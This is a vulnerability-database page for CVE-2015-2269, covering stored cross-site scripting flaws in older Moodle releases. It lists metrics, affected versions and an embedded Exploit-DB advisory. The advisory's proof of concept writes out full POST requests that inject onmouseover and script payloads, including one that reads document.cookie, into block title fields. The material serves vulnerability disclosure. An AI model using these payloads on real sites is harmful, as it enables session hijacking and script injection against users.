CVE-2015-2269 : Detail

CVE-2015-2269

Cross-site Scripting
A03-Injection
0.18%V3
Network
2015-06-01
17h00 +00:00
2015-06-01
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Multiple cross-site scripting (XSS) vulnerabilities in lib/javascript-static.js in Moodle through 2.5.9, 2.6.x before 2.6.9, 2.7.x before 2.7.6, and 2.8.x before 2.8.4 allow remote authenticated users to inject arbitrary web script or HTML via a (1) alt or (2) title attribute in an IMG element.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V2 3.5 AV:N/AC:M/Au:S/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 36418

Publication date : 2015-03-16 23h00 +00:00
Author : LiquidWorm
EDB Verified : No

 Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting Vendor: Moodle Pty Ltd Product web page: https://www.moodle.org Affected version: 2.8.3, 2.7.5, 2.6.8 and 2.5.9 Summary: Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments. Desc: Moodle suffers from persistent XSS vulnerabilities. Input passed to the POST parameters 'config_title' and 'title' thru index.php, are not properly sanitized allowing the attacker to execute HTML or JS code into user's browser session on the affected site. Affected components: Blocks, Glossary, RSS and Tags. Tested on: nginx PHP/5.4.22 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5236 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5236.php Vendor Advisory ID: MSA-15-0013 Vendor Advisory URL: https://moodle.org/mod/forum/discuss.php?d=307383 CVE ID: CVE-2015-2269 CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2269 09.02.2015 -- Random Glossary Entry --------------------- POST http://WEB/my/index.php HTTP/1.1 _qf__block_glossary_random_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=304 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_addentry=test config_invisible=test2 config_refresh=0 config_showconcept=1 config_title=" onmouseover=prompt("XSS1") > config_type=0 config_viewglossary=test3 mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Remote RSS Feeds ---------------- POST http://WEB/my/index.php HTTP/1.1 _qf__block_rss_client_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=312 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_block_rss_client_show_channel_image=0 config_block_rss_client_show_channel_link=0 config_display_description=0 config_rssid=_qf__force_multiselect_submission config_rssid[]=3 config_shownumentries=11 config_title=" onmouseover=prompt("XSS2") > mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Tags ---- POST http://WEB/my/index.php HTTP/1.1 _qf__block_tags_edit_form=1 bui_contexts=0 bui_defaultregion=side-pre bui_defaultweight=4 bui_editid=313 bui_editingatfrontpage=0 bui_pagetypepattern=my-index bui_parentcontextid=411 bui_region=side-pre bui_subpagepattern=%@NULL@% bui_visible=1 bui_weight=4 config_numberoftags=80 config_tagtype= config_title=Tags" onmouseover=prompt("XSS3") > mform_isexpanded_id_configheader=1 mform_isexpanded_id_onthispage=0 mform_isexpanded_id_whereheader=0 sesskey=S8TXvxdEKF submitbutton=Save changes Older not supported versions ---------------------------- POST http://WEB/blog/index.php HTTP/1.1 blockaction=config filterselect=1343 filtertype=user instanceid=4992 numberoftags=20 sesskey=0QCG5LQz0Q sort=name timewithin=90 title=ZSL"><script>alert(document.cookie);</script>

Products Mentioned

Configuraton 0

Moodle>>Moodle >> Version To (including) 2.5.9

Moodle>>Moodle >> Version 2.5.0

Moodle>>Moodle >> Version 2.5.1

Moodle>>Moodle >> Version 2.5.2

Moodle>>Moodle >> Version 2.5.3

Moodle>>Moodle >> Version 2.5.4

Moodle>>Moodle >> Version 2.5.5

Moodle>>Moodle >> Version 2.5.6

Moodle>>Moodle >> Version 2.5.7

Moodle>>Moodle >> Version 2.5.8

Moodle>>Moodle >> Version 2.6.0

Moodle>>Moodle >> Version 2.6.1

Moodle>>Moodle >> Version 2.6.2

Moodle>>Moodle >> Version 2.6.3

Moodle>>Moodle >> Version 2.6.4

Moodle>>Moodle >> Version 2.6.5

Moodle>>Moodle >> Version 2.6.6

Moodle>>Moodle >> Version 2.6.7

Moodle>>Moodle >> Version 2.6.8

Moodle>>Moodle >> Version 2.7.0

Moodle>>Moodle >> Version 2.7.1

Moodle>>Moodle >> Version 2.7.2

Moodle>>Moodle >> Version 2.7.3

Moodle>>Moodle >> Version 2.7.4

Moodle>>Moodle >> Version 2.7.5

Moodle>>Moodle >> Version 2.8.0

Moodle>>Moodle >> Version 2.8.1

Moodle>>Moodle >> Version 2.8.2

Moodle>>Moodle >> Version 2.8.3

References

http://openwall.com/lists/oss-security/2015/03/16/1
Tags : mailing-list, x_refsource_MLIST